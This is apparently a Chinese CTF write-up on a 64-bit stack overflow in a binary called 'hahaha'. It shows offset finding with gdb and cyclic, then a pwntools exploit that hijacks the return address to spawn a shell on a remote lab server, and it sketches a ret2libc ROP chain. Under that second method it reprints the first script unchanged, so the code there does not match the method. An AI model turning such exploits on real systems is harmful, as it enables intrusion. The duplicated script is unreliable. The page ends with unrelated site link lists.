当前位置: 首页 > news >正文

【PolarCTF】简单溢出

检查保护,发现NX开启没办法进行ret2shellcode

hahaha是64位程序

使用IDA分析hahaha,发现scanf函数,程序本身自带有/bin/sh,然后继续往下追踪发现有一个fact后面函数,我们可以直接调用fact函数

解法一 直接调用fact函数

可以使用objdump来找到fact的地址

objdump -d -M intel ./hahaha | grep "fact"

也可以通过IDA查看到

然后就是找填充缓冲区长度,这里可以通过IDA直接看,需要0x30个字节

也可以使用gdb自己分析,更准确,有时候IDA的不一定准

先生成字符进行填充

然后查看rbp里面的内容,并计算偏移

# 查看$rbp的内容 pwndbg>x $rbp

这里cyclic算出来的48是十进制的,我们还要转换为十六进制,发现的确实0x30

exp如下

from pwn import * # 1.95.36.136 2084 #io = process('./hahaha') io = remote("1.95.36.136","2128") fact_addr = 0x400596 # rbp长度是8字节,我们还要填充0x8 padding = 0x30 + 0x8 payload = b'A'*padding payload += p64(fact_addr) io.sendline(payload) io.interactive()

解法二 ret2libc

这里我们还可以另外一种方法

我们查询下/bin/sh的位置

ROPgadget --binary hahaha --string '/bin/sh'

/bin/sh的地址为0x499664

也可以通过IDA追踪查看

同样看下偏移

在64位的程序中,程序前6个参数必须依次放在寄存器中(rdi-rsi-rdx-rcx一r8-r9),栈只存第7个及以后的参数

因此我们需要找pop_rdi_ret,将/bin/sh打入到rdi中,这样后续我们执行system函数的时候,就可以让system函数读取到

ROPgadget --binary hahaha | grep pop

找到pop_rdi_ret可以使用,地址为0x400643

接下来找system地址

objdump -d -M intel ./hahaha | grep "system"

system@plt的地址为0x400460

那我们的exp如下

from pwn import * # 1.95.36.136 2084 #io = process('./hahaha') io = remote("1.95.36.136","2128") fact_addr = 0x400596 # rbp长度是8字节,我们还要填充0x8 padding = 0x30 + 0x8 payload = b'A'*padding payload += p64(fact_addr) io.sendline(payload) io.interactive()

疑问解答

下面是自己和豆包的对话

1、ret2shellcode的攻击手法是什么样的?

2、为什么需要用pop_ret来传递/bin/sh,程序里面已经有为什么不直接使用?

3、我记得有一个情况下是需要直接找到system在动态链接库的真实地址,那种情况是什么?

http://www.jsqmd.com/news/624654/

相关文章:

  • Maomi.In | .NET 全能多语言解决方案乒
  • 如何轻松实现EMQX消息持久化?emqx_persistence_plugin完整指南
  • Burpsuite之暴力破解+验证码识别 | 添柴不加火辟
  • 【仅限首批200家认证企业开放】:基于ISO/IEC 23053标准的AI原生软件流水线成熟度评估矩阵(含自动打分CLI工具链)
  • 知识星球内容本地化:从云端依赖到个人知识库的转变
  • 如何让微信聊天记录成为你的个人数字资产?WeChatMsg完整解决方案
  • CAD工件图和实物图对比识别项目总结
  • 使用小龙虾来操作猿编程的遥控车懦
  • AI微服务治理为何频频崩溃?:揭秘OpenTelemetry+Istio在LLM推理链路中的7类隐性故障模式
  • X-AnyLabeling从源码到打包:一份给开发者的定制化部署指南(Windows/Linux/MacOS全平台)
  • 营销自动化数据驱动 - 多源数据 OLAP 架构演进胶
  • 为什么92%的AI原生应用在出海时本地化失败?——基于27个真实项目复盘的5维失效根因图谱
  • IDEA里用PlantUML画类图,为啥我装了插件还是不行?手把手教你搞定Graphviz配置
  • WindRunnerMax毖
  • Ryzen处理器SMU深度调试:5大核心技术原理与性能调优实战
  • 清北博雅考研:全科全阶全场景,真正一站式综合考研辅导标杆
  • 【C】顺时针螺旋移动法
  • 嵌入式c语言——关键字其6
  • Mac/Win双平台指南:最新VMware Fusion 13及Workstation Pro 17从博通官网下载全流程
  • 【央行科技司内部评估首曝】:AI原生支付系统已通过沙盒压力测试——但92%企业正因这4个认知盲区错失接入窗口期?
  • VBA-JSON终极指南:Excel数据与JSON格式互转的完整解决方案
  • Mermaid Live Editor:代码即图表的新一代可视化开发体验
  • Android Safety 系列专题【篇七:Android AVF机制】
  • fasdfsadfsda
  • 2025届必备的十大降重复率助手解析与推荐
  • Ozon卖家最头疼的8大问题,Captain AI一键解决
  • C#.NET log4net 实战:从基础配置到企业级日志架构
  • 从零开始:用Three.js CubeTexture和RGBELoader打造逼真3D场景(附免费HDR资源)
  • 一站式搞定Ozon运营!Captain AI 8大功能,告别繁琐,高效盈利
  • 别再只会点‘Fit’了!深度解析Origin高斯拟合背后的算法与结果解读